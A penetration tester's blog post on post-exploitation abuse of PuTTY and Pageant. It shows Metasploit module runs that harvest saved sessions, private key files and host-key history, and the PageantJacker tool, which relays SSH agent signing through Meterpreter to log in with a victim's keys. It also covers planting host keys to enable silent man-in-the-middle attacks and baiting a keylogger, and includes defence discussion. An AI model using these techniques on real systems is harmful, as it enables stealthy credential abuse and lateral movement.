Blog

Abusing PuTTY & Pageant through native functionality

Introduction

Overview

Every penetration tester has at some point come across a host which accepts telnet connections, probably on TCP port 23, and included a paragraph in the report covering the benefits of using SSH as an alternative. The weaknesses of telnet are widely understood and many vulnerability scanners consider the opportunity to gain management access to a device using telnet to be a high risk issue, perhaps because of the ease of which traffic can be interception and the fact that SSH can be dropped in as a replacement.

These days, SSH has a multitude of uses; even modern code repository tools such as subversionmercurial and git all support and recommend the use of SSH to manipulate repositories. It is usually sensibly recommended that management of appliances, devices or hosts running some flavour of UNIX is performed over SSH. The notable SSH clients and servers are so versatile and offer additional features, such as TCP port forwarding, creation of SOCKS proxies, can channel multiple SSH connections over a single link and, with a little extra configuration, functional VPNs can be configured all with the cryptographic strength and performance offered by SSH.

There are two widely used methods of authenticating with an SSH server regardless of the purpose of the connection; these are password and publickey. Password authentication is very well understood, but there is a strong focus on publickey authentication instead of password authentication; much like SSL client certificate authentication, publickey authentication is resistant to attempts to disclose a shared secret (a password) using man-in-the-middle attacks and, with the integration of SSH agents, can be used to offer rlogin-style passwordless authentication for user convenience, whilst retaining all of the cryptographic benefits of SSH.

There are a number of very good guides on the internet that cover the internal mechanics, cryptography and maths of publickey authentication and I would recommend reading those if you have an interest in the detail.

SSH Agents

SSH solves a very large number of security problems and there is not a widely supported mainstream alternative to it. However, with any system of this nature, there is still the question of user experience when authenticating.

When connecting to an SSH server using traditional password authentication, users need to enter a username and a password. This is generally inconvenient, vulnerable to key logging, susceptible to the fact that users do not always choose strong passwords and often share passwords across different systems, and all of the other issues that any penetration tester will have come across. It is also painful for repeated connections, such as repository commits or multiple connections to different systems.

A widely accepted alternative is to use publickey authentication, which does not require passwords and is superior from both a user experience and cryptography perspective. However, this would in the traditional sense involve a decrypted private key existing on your computer, meaning that anyone who gained access to this file would be able to use it to log in to any system for which the corresponding public key is trusted. One recommended option is to encrypt the private key with a password, reducing the impact of theft of the encrypted private key, but the problem is user experience; we are now back to having to type in a password for every SSH connection (albeit to decrypt the private key instead of logging in to the SSH server directly).

The solution that is generally adopted is the use of SSH agents, which offer a compromise between convenience and security risk, and are a little bit like a trusted third party. The idea is that you add your private keys to a local SSH agent (and type the decryption password in once), with the SSH agent holding them in memory. SSH clients then contact the SSH agent to complete authentication attempts; the SSH agent will digitally sign the authentication requests using the appropriate key but will not divulge the private key. Effectively, this is a way of being able to use a private key without having to decrypt it manually every single time, but without the decrypted private key ever existing on disk. The SSH protocol also offers the ability to offer ‘agent forwarding’, which allows you to make your SSH agent available to remote machines that you have logged on to, which makes authentication through jump boxes much more convenient.

There is an obvious risk with this which is usually very well documented; activation of agent forwarding allows all of your private keys to be used (but not recovered) by anyone who has access to your authentication socket on the remote machine. This is usually considered to be less of an issue locally; if an attacker gains local access to your workstation, they could use your local SSH agent, but arguably this is no different to you using your local SSH agent. Keeping agent forwarding switched off unless you need it is a good idea though.

Windows

PuTTY is a free, currently maintained and well supported Windows SSH client. The suite of tools includes the PuTTY SSH client itself, an SSH agent called Pageant (which is very usefully written in that it installs a tray icon which, when right-clicked, brings up your PuTTY favourite connections), a command-line tool called Plink and a key generation and conversion tool called PuTTYGen.

Users who use PuTTY in the manner above would normally have Pageant running on their machine (the UNIX equivalent being ssh-agent) with keys being loaded initially. Users can then run PuTTY which, on the assumption that publickey authentication is permitted by the server, will:

  • Determine whether Pageant is running
  • If so, ask Pageant to sign the authentication request with each loaded key in turn
  • Keep going until the server limit is reached, the login is successful or we run out of keys to try

(Note: The above is a simplification; the actual protocol is a little more complicated)

This is so widely accepted that other tools support Pageant natively. These include FileZillaWinSCP and anything using the PuTTY tools themselves (such as TortoiseGIT and TortoiseSVN). Plugins for KeePass also exist that offer a similar mechanism.

The Scenario

From a penetration tester’s perspective, this gives rise to a real scenario that we will all have encountered at some point.

You have a RAT (e.g. meterpreter, beacon etc) on a target’s fully patched Windows workstation and you wish to laterally move across the network. There are a number of UNIX machines that are used by the target; all are configured to use publickey SSH authentication only, and PuTTY is used to connect to them from the Windows workstations. For the purposes of this scenario, this is used so frequently that all employees use an SSH agent for convenience. Encrypted keys are stored on a USB stick, added to Pageant at startup and then the USB stick is removed, meaning that the original keys cannot be easily recovered.

At no point are decrypted SSH keys ever stored on the workstation directly; the only method of using them is through the SSH agent.

Our aim is to take advantage of this without alerting the user to the fact that we are doing it. We do not want to affect the user’s interface at all, be as stealthy as possible regarding logs and avoid creating additional processes on their workstation if we can help it. They would notice if we loaded PuTTY on their screen, or if console boxes suddenly appeared and disappeared, so we are limited to command line access. We could use plink, but we ideally want to make the connection from our laptops so that we can use our own tools and transfer files directly to our machine.

The Solution

The first step to constructing a solution to this problem is to understand how the tools work in more detail. Unfortunately, there is very little technical documentation for the internal mechanics of PuTTY, which is understandable given that the source code is available. I worked this out by reading the source code in conjunction with debugging PuTTY and Pageant at runtime.

Situational Awareness

The simplest way of determining the extent to which PuTTY is used is to inspect the system registry, which is where PuTTY stores all of its settings and favourites. Routine users of PuTTY will have almost certainly configured default settings to suit themselves, with shortcuts to common servers.

These settings are stored in HKEY_CURRENT_USER\Software\SimonTatham\PuTTY.

regedit

Most RAT tools can query the registry (both meterpreter and beacon natively can) and a lot of information can be gleamed from PuTTY’s saved information. The usefulness of these registry values is very much context dependent, but common ones that generally are useful include:

KEYPURPOSEPUTTY GUI CONFIGURATION LOCATION
HostName The name or IP address to connect to. Session (Basic Options)
LocalUserName The username which is used for rlogin connections. Connection/Rlogin
PortForwardings Any configured port forwarding rules. Useful for identifying other interesting hosts or targets for lateral movement; if someone has taken the trouble to configure them in PuTTY, they are probably regularly used. Connection/SSH/Tunnels
PortNumber The TCP port number to connect to. 22 by default for SSH. Session (Basic Options)
Proxy* (ProxyHost,ProxyPort,ProxyMethod…) Proxy settings to use. Very useful if you are looking for proxy settings to tunnel outbound. Connection/Proxy
PublicKeyFile Contrary to the name of the registry key, this refers to the path of the SSH private key file. It is possible to instruct PuTTY to refer to this file directly from disk; it will simply use the private key contained in this file when connecting. It is the only way of configuring PuTTY to use publickey authentication without an SSH agent such as Pageant, and effectively is the equivalent of the -i (IdentityFile) parameter to OpenSSH’s ssh client. Connection/SSH/Auth
UserName Username to log in with. Can also be set by the basic connection options asuser@hostname instead of just hostname. Connection/Data

In addition, those who have used PuTTY will be familiar with the screen below:

putty connection

Whenever you connect to an SSH server for the first time, PuTTY will (quite correctly) prompt you because it has no way of knowing whether the SSH endpoint is legitimate (in much the same way as the TLS handshake works). Unfortunately, PuTTY does not support CA key verification nor SSHFP DNS record verification, meaning that every single new connection needs to be manually checked. Once you have approved the connection, PuTTY will not prompt you again as long as the public key does not change. PuTTY implements this by storing all previous connection hosts and certificates in HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\SshHostKeys.

putty2

This is particularly useful because it is in effect a history of every connection that has been made from PuTTY, which provides a list of interesting hosts for penetration testers to target. PuTTY’s user interface does not provide a method of listing the key history, nor does it permit you to clear or remove the key history, meaning that you will be given an exhaustive list of every single previous connection unless the target user has cleared the registry key above.

Attacks

There are essentially two main categories of attack that can be launched in this scenario. The first is intelligence gathering; the information in the registry can be used to build up a target list of other interesting hosts by capturing connection parameters including usernames, hosts, private keys, proxy settings and connection history.

The second option is to modify the registry in order to facilitate further attacks. For example, you could add an additional host key to HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\SshHostKeys, which would suppress the warning message above; this is analogous to adding a trusted certificate to the certificate store in the TLS world. This would allow a man-in-the-middle attack to be performed without any user warnings because PuTTY would connect to the rogue server believing it to be legitimate, and there would be no easy way for a normal user to detect this.

I wrote a post exploitation module for metasploit named putty_enum_saved_sessions which will:

  • Enumerate information from PuTTY saved sessions
  • Retrieve any referenced private keys; internally, it downloads any files referenced by any PublicKeyFile registry keys
  • Search for running Pageant instances (this works by searching for a window with a class name of Pageant)
  • Optionally write results to the screen, to msf’s notes and to loot in CSV format

Further details are available in the pull request.

Usage Example

use post/windows/gather/enum_putty_saved_sessions
SET session -1
run

This will produce the following output (some areas redacted for brevity):

[*] Looking for saved PuTTY sessions
[*] Found 34 sessions

PuTTY Saved Sessions
====================

Name HostName PublicKeyFile UserName PortNumber PortForwardings
---- -------- ------------- -------- ---------- ---------------
Test 1 127.0.0.1 R:\keys\test.ppk stufus 22 L3006=localhost:3306
Test 2 10.0.0.1 goat 22

...redacted...

[*] PuTTY saved sessions list saved to /usr/home/stufus/.msf4/loot/20150517164036_default_192.0.2.101_putty.sessions.c_130140.txt in CSV format & available in notes (use 'notes -t putty.savedsession' to view).
[*] Downloading private keys...
[+] PuTTY private key file for 'Test 1' (R:\keys\test.ppk) saved to: /usr/home/stufus/.msf4/loot/20150517152125_default_192.0.2.101_putty.ppk.file_396198.bin

PuTTY Private Keys
==================

Name HostName UserName PublicKeyFile Type Cipher Comment
---- -------- -------- ------------- ---- ------ -------
Test 1 127.0.0.1 stufus R:\keys\test.ppk ssh2 (rsa) none Generated test key

[*] Looking for previously stored SSH host key fingerprints
[*] Found 39 stored key fingerprints
[*] Downloading stored key fingerprints...

Stored SSH host key fingerprints
================================

SSH Endpoint Key Type(s)
------------ -----------
127.0.0.1:22 rsa2
10.0.0.1:22 rsa2, ecdsa-sha2-nistp256

...redacted...

[*] PuTTY stored host keys list saved to /usr/home/stufus/.msf4/loot/20150517152136_default_192.0.2.101_putty.storedfing_670457.txt in CSV format & available in notes (use 'notes -t putty.storedfingerprint' to view).

[*] Looking for Pageant...
[+] Pageant is running (Handle 0x601a0)
[*] Post module execution completed

This could also be used as a basis for more subtle attacks. For example, adding an additional key fingerprint with a hostname of your choice to HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\SshHostKeys would suppress the warning message, allowing man-in-the-middle attacks which terminate and re-establish the SSH connection to be launched without alerting the user. This type of attack could be considered analogous to adding a rogue CA to a browser’s trusted CA list and then man-in-the-middling an SSL connection using the rogue CA.

Defences

Practically, this is difficult to prevent from the perspective of an attacker who has gained user level access on a workstation. From a usability perspective, this is not a vulnerability in the traditional sense of the word; PuTTY would not function correctly if the registry was never populated. However, one main method by which the impact of this information disclosure would be limited is by using an SSH agent such as Pageant; no SSH keys would be found by enumerating the PublicKeyFile registry key and the gained information would be limited to environmental settings such as target hosts and perhaps usernames. This would also be resistant to per-connection keylogging and would not require significant user re-education to implement. Many security guides advocate SSH agent usage.

Pageant: PuTTY’s SSH Agent

In the scenario above, we have now determined that Pageant is in use. We have enumerated a target IP and a username using the module above, and a connection using ssh -v shows that password authentication is not permitted; only publickey authentication is permitted. As Pageant is running, it is likely that the SSH keys are stored in Pageant, meaning that we could connect to the target host a second time from the compromised user’s workstation using PuTTY; this would work correctly because PuTTY would just request agent authentication a second time. As discussed above, there are some flexibility problems with this.

It would be much easier if the connection could be made from the attacker’s machine and, when authentication is requested, “forwarding” the authentication request to the target user’s Pageant instance, retrieving the reply and using that to authenticate, a little bit like an SMB relay attack. Note that is not the same as ‘agent forwarding’.

Manually interacting with Pageant

As I was unable to find any publicly available tools or documentation that would allow this to be easily achieved remotely, I looked at the PuTTY and Pageant source code in more detail to find out how the communication works between PuTTY and Pageant.

High Level

In essence, PuTTY communicates with Pageant by:

  1. Creating a COPYDATASTRUCT, write PageantRequest and 0x804e50ba (this is just a constant in PuTTY’s source code, presumably as an identifier) to the appropriate positions in the structure.
  2. Creating a block of memory that both PuTTY and Pageant can access (remember that they are different processes and cannot simply invade each other’s memory space).
  3. Write the agent request to the memory above (i.e. ADD, DELETE, LIST or SIGN); this is summarised at a high level at https://tools.ietf.org/html/draft-ietf-secsh-agent-00.
  4. Send the WM_COPYDATA windows message to Pageant, which then reads the memory, interprets the request and writes the response to the block of memory.
  5. Act on the response (the actual SSH authentication protocol is described by RFC4252).

A useful solution which would not be overly complex would be to create a local socket, instruct local OpenSSH commands (ssh, ssh-add etc.) to use this local socket and, where authentication is requested, forward anything written to this socket to the remote Pageant, and then write anything from Pageant to this socket. This would have the effect of allowing us to interact with the remote SSH agent as if it was a local one, meaning that all local tools will natively work, without worrying about the complexity of re-implementing the SSH agent protocol or, even worse, the SSH authentication protocol.

PageantJacker

PagentJacker is the name of a tool that I created in order to implement the above. It actually comprises a metasploit post exploitation module and a meterpreter extension and is designed to be used where meterpreter is running on a compromised host as the same user as one which uses Pageant. At a high level, it:

  • Creates a local socket (e.g. /tmp/forward.sock); if you set your SSH_AUTH_SOCK environment variable to /tmp/forward.sock, the relevant OpenSSH tools such as ssh-add and ssh will use this as an authentication socket.
  • Listen on the socket; whenever anything is written to it (which in practice would be an interaction request from an SSH client), forward it through the meterpreter link on the Windows side, package it as above and send it to Pageant.
  • Read the response from Pageant, send it back through the meterpreter link to the UNIX side and write it to the local socket.

Effectively, this acts as a simple UNIX-to-Windows SSH agent proxy, which will transparently use Pageant to sign the authentication requests. As Pageant supports both SSH1 and SSH2, PageantJacker will too.

Further details are available in the pull request.

Usage

For the purposes of this example, assume that we have obtained access to a target workstation. We have used the metasploit enumeration module above to read PuTTY’s history and determine that Pageant is in use. We would like to SSH to an IP address from our own laptop, but use the target’s instance of Pageant for authentication.

The first stage is to load PageantJacker using the forward_pageant post module:

use post/windows/manage/forward_pageant
set session -1
run -j

This will:

  • Load the PageantJacker extension in Meterpreter if it is not already loaded.
  • Create a local socket (if you set SocketPath, you can choose where it is. If you don’t, it will create a random one).
  • Listen on the local socket, and forward everything it sees to the remote Pageant instance.

If you then set your SSH_AUTH_SOCK environment variable to the path shown, you can then use OpenSSH commands normally, which will effectively tunnel the agent traffic through the meterpreter connection. For example:

COMMANDDESCRIPTION
ssh-add -l List the keys stored in Pageant
ssh-add -D Delete all keys stored in Pageant
ssh username@127.0.0.1 Attempt to connect to the SSH server listening on 127.0.0.1 & try the keys from Pageant

Example

Firstly, set up the post module:

msf exploit(handler) > use post/windows/manage/forward_pageant 
msf post(forward_pageant) > show options

Module options (post/windows/manage/forward_pageant):

Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
SocketPath no Specify a filename for the local UNIX socket.

msf post(forward_pageant) > set SESSION 1
SESSION => 1
msf post(forward_pageant) > set VERBOSE true
VERBOSE => true
msf post(forward_pageant) > run

[*] Loading PageantJacker extension on session 1 (192.0.2.102)
[*] Launched listening socket on /tmp/pageantjacker20150519-10390-1r085nz-5
[*] Set SSH_AUTH_SOCK variable to /tmp/pageantjacker20150519-10390-1r085nz-5 (e.g. export SSH_AUTH_SOCK="/tmp/pageantjacker20150519-10390-1r085nz-5")
[*] Now use any tool normally (e.g. ssh-add)

At this point, run the following commands to demonstrate interaction with Pageant locally:

$ export SSH_AUTH_SOCK="/tmp/pageantjacker20150519-10390-1r085nz-5"
$ ssh-add -l
16384 25:c9:43:49:a1:0b:2d:cf:a3:29:e8:2c:0f:56:48:35 PageantJacker Demo (RSA)

As Verbose = TRUE, the following output will be displayed in the Metasploit console:

[*] PageantJacker: Received data from socket (size: 5)
[*] PageantJacker: Response received (Success='true' Size='9' Error='No error.')
[*] PageantJacker: Received data from socket (size: 5)
[*] PageantJacker: Response received (Success='true' Size='2106' Error='No error.')

Now attempt to connect to 192.0.2.1 using the keys in Pageant:

$ ssh -v 192.0.2.1
OpenSSH_6.6.1p1, OpenSSL 1.0.1j-freebsd 15 Oct 2014

...redacted...

debug1: ssh_ecdsa_verify: signature correct
debug1: SSH2_MSG_NEWKEYS sent
debug1: expecting SSH2_MSG_NEWKEYS
debug1: SSH2_MSG_NEWKEYS received
debug1: Roaming not allowed by server
debug1: SSH2_MSG_SERVICE_REQUEST sent
debug1: SSH2_MSG_SERVICE_ACCEPT received
debug1: Authentications that can continue: publickey,password,keyboard-interactive
debug1: Next authentication method: publickey
debug1: Offering RSA public key: PageantJacker Demo
debug1: Server accepts key: pkalg ssh-rsa blen 2071
...

As testing is now complete, CTRL+C will clean up by closing and deleting the socket file locally.

^C[-] Post interrupted by the console user
[*] Post module execution completed
msf post(forward_pageant) >

Obviously, the local commands will no longer work because the module has been closed.

$ echo $SSH_AUTH_SOCK
/tmp/pageantjacker20150519-10390-1r085nz-5
$ ssh-add -l
Could not open a connection to your authentication agent.
$ ls -la /tmp/pageantjacker20150519-10390-1r085nz-5
ls: /tmp/pageantjacker20150519-10390-1r085nz-5: No such file or directory

Note that the module can be executed as a background job by running run -j and then killed usingjobs -k.

Defences

It is difficult to defend against this type of attack because there is no exploit (in the usual sense of the word) in use and therefore nothing to patch.

Pageant does not offer the ability to log agent requests and, even if it did, it would require interpretation of the logs and correlation with the process name/ID or connecting IP address; the latter could be easily circumvented by using a SOCKS proxy or port forwarding through meterpreter to ensure that the apparent origin of the connection is shown to be the target host.

From a logging perspective, it is difficult to spot. When attempting to log in to an OpenSSH SSH server using publickey authentication and an agent with multiple keys loaded, neither the SSH agent nor the SSH client has any way of knowing which key corresponds to which server, so it simply tries them all. This can be seen when legitimately connecting to a host using command-line ssh:

$ ssh -v stufus@demo.stufus.lan
OpenSSH_6.6.1p1, OpenSSL 1.0.1p-freebsd 9 Jul 2015
debug1: Reading configuration data /usr/home/stufus/.ssh/config
debug1: /usr/home/stufus/.ssh/config line 1: Applying options for *
debug1: Reading configuration data /etc/ssh/ssh_config
debug1: /etc/ssh/ssh_config line 21: Applying options for *
debug1: Connecting to demo.stufus.lan [192.0.2.252] port 22.
debug1: Connection established.
...snipped...
debug1: SSH2_MSG_SERVICE_REQUEST sent
debug1: SSH2_MSG_SERVICE_ACCEPT received
debug1: Authentications that can continue: publickey
debug1: Next authentication method: publickey
debug1: Offering RSA public key: /usr/home/stufus/.ssh/demo-key-one
debug1: Authentications that can continue: publickey
debug1: Offering RSA public key: /usr/home/stufus/.ssh/demo-key-two
debug1: Authentications that can continue: publickey
debug1: Offering RSA public key: /usr/home/stufus/.ssh/demo-key-three
debug1: Authentications that can continue: publickey
debug1: Offering RSA public key: /usr/home/stufus/.ssh/demo-key-four
debug1: Server accepts key: pkalg ssh-rsa blen 532
debug1: Authentication succeeded (publickey).
Authenticated to demo.stufus.lan ([192.0.2.252]:22).

The only log entry on demo.stufus.lan at INFO level (OpenSSH default) for the connection above is as shown below:

sshd[80700]: Accepted publickey for stufus from 192.0.2.3 port 31466 ssh2: RSA 0e:62:96:78:8f:b4:f6:5a:1c:c7:7b:07:ad:c1:27:15

Interestingly, there is no log at INFO level for the failed publickey attempts above.

When connecting to another host which does not recognise any of the public keys, and then pressing CTRL+C when we run out of private keys to try:

$ ssh -v stufus@secret.stufus.lan
OpenSSH_6.6.1p1, OpenSSL 1.0.1p-freebsd 9 Jul 2015
debug1: Reading configuration data /usr/home/stufus/.ssh/config
debug1: /usr/home/stufus/.ssh/config line 1: Applying options for *
debug1: Reading configuration data /etc/ssh/ssh_config
debug1: /etc/ssh/ssh_config line 21: Applying options for *
debug1: Connecting to secret.stufus.lan [192.0.2.77] port 22.
debug1: Connection established.
...snipped...
debug1: SSH2_MSG_SERVICE_REQUEST sent
debug1: SSH2_MSG_SERVICE_ACCEPT received
debug1: Authentications that can continue: publickey,password,keyboard-interactive
debug1: Next authentication method: publickey
debug1: Offering RSA public key: /usr/home/stufus/.ssh/demo-key-one
debug1: Authentications that can continue: publickey,password,keyboard-interactive
debug1: Offering RSA public key: /usr/home/stufus/.ssh/demo-key-two
debug1: Authentications that can continue: publickey,password,keyboard-interactive
debug1: Offering RSA public key: /usr/home/stufus/.ssh/demo-key-three
debug1: Authentications that can continue: publickey,password,keyboard-interactive
debug1: Offering RSA public key: /usr/home/stufus/.ssh/demo-key-four
debug1: Authentications that can continue: publickey,password,keyboard-interactive
debug1: Next authentication method: password
stufus@secret.stufus.lan's password:
^C

The log entry at INFO level (OpenSSH default) is as below:

sshd[6158]: Connection closed by 192.0.2.3 [preauth]

This is exactly the same log entry as is written if you connect to the SSH server and send an identification string, without any authentication attempts:

$ nc secret.stufus.lan 22
SSH-2.0-OpenSSH_6.6.1_hpn13v11 FreeBSD-20140420
SSH-2.0-Test
^C

The resultant log entry:

sshd[6242]: Connection closed by 192.0.2.3 [preauth]

Increasing the verbosity to VERBOSE level yields more detailed results:

sshd[6340]: Connection from 192.0.2.3 port 29349 on 192.0.2.252 port 22
sshd[6340]: Failed publickey for stufus from 192.0.2.3 port 29349 ssh2: RSA 5d:df:34:82:34:fb:7d:b7:81:07:8d:ae:e7:43:d8:03
sshd[6340]: Failed publickey for stufus from 192.0.2.3 port 29349 ssh2: RSA be:5f:0b:06:12:76:07:ea:f8:fa:88:b5:5b:7d:f7:ee
sshd[6340]: Failed publickey for stufus from 192.0.2.3 port 29349 ssh2: RSA d7:b5:56:f0:65:ff:ad:c7:e4:a9:a4:04:55:a7:ff:cc
sshd[6340]: Postponed publickey for stufus from 192.0.2.3 port 29349 ssh2 [preauth]
sshd[6340]: Accepted publickey for stufus from 192.0.2.3 port 29349 ssh2: RSA 0e:62:96:78:8f:b4:f6:5a:1c:c7:7b:07:ad:c1:27:15

However, the publickey failures are ‘legitimate’ in that this is a side effect of how agent authentication works. Therefore, monitoring tools that search for ‘Failed publickey’ will trigger on every single login attempt from anyone that uses an agent with more than one key in it, and the number and order is dependent on the client’s SSH agent, meaning that ‘proxying’ the authentication traffic against a particular host will not result in any logs that look different in structure from a legitimate connection. This makes sense when considering the fact that there is no mechanical difference in the connection protocol.

OpenSSH’s SSH agent implementation offers additional functionality, such as the ability to lock the SSH agent (ssh-add -x) and require confirmation of signatures (ssh-add -c).

However, Pageant does not appear to support the ability to lock the agent:

$ ssh-add -x
Enter lock password:
Again:
SSH_AGENT_FAILURE
Failed to lock agent.

In addition, Pageant does not appear to support agent confirmation (ssh-add -c); there is no GUI interface to enable this. OpenSSH does support this; when using ssh-add to interact with an OpenSSH SSH agent, it is possible to add a key that requires per-use confirmation. This is a compromise between user experience and security.

$ ssh-add -c demo.key
Enter passphrase for demo.key:
Identity added: demo.key (demo.key)
The user must confirm each use of the key

The ability to directly interact with a remote user’s SSH agent could also allow more overt attacks to take place. For example, an attacker could run ‘ssh-add -D’ to delete all keys from Pageant, and then enable a keylogger, in the hope that a user would simply re-add the keys to Pageant, typing in the key decryption password as part of that process.

Conclusion

It is important that this is not interpreted as a vulnerability or failing in PuTTY or Pageant; this same attack style is true of OpenSSH’s ssh-agent (which stores its authentication sockets by default in /tmp and, like Pageant, is at the mercy of the operating system’s permission enforcement) and any other client/server authentication system. The fact that Pageant does not support agent locking and per-request confirmations does reduce the options available from a defence perspective, but the underlying issue is an architectural one, not an implementation problem.

There is a core focus during simulated attacks of abusing native functionality rather than exploitation; the latter definitely has its place and can be a very effective, impressive and elegant way of achieving compromise. However, the benefit of using logical native attacks is that, from an attacker’s perspective, they are more difficult to defend against because they generally arise from an architectural weakness rather than a patchable implementation weakness.

Pageant could be extended to offer locking, signing confirmation and functionality to log SSH agent requests, which could alert users to authentication requests that they did not ask for, but would rely on user escalation of anomalous agent requests. It could also perform some form of SSH agent incoming authentication (for example, having a list of pre-approved processes that are permitted to request keys), but even that could probably be circumvented by tampering with the pre-approval list or reflectively injecting into an approved process. As there is no current standard for cross-platform agent query authentication, enforcing this would break current compatibility and require tools to employ Pageant-specific code.

I cannot think of a definitive way of completely preventing this type of attack (without requiring per-connection password entry, which could then be defeated with a keylogger) because, in all cases, PuTTY and Pageant are being used for their intended purposes and would have no way of differentiating between a legitimate connection and a nefarious one, especially as the difference is, in practice, simply one of context.

Publickey authentication still offers significant benefits over password authentication, and the use of SSH agents is still strongly recommended. However, it is important to be aware of the attacks that are possible so that any implementation decisions are made with as much knowledge as possible.

Further Links

PageantJacker POST module pull request: https://github.com/rapid7/metasploit-framework/pull/5380

PageantJacker Meterpreter extension: https://github.com/rapid7/meterpreter/pull/164 and https://github.com/rapid7/metasploit-payloads/pull/29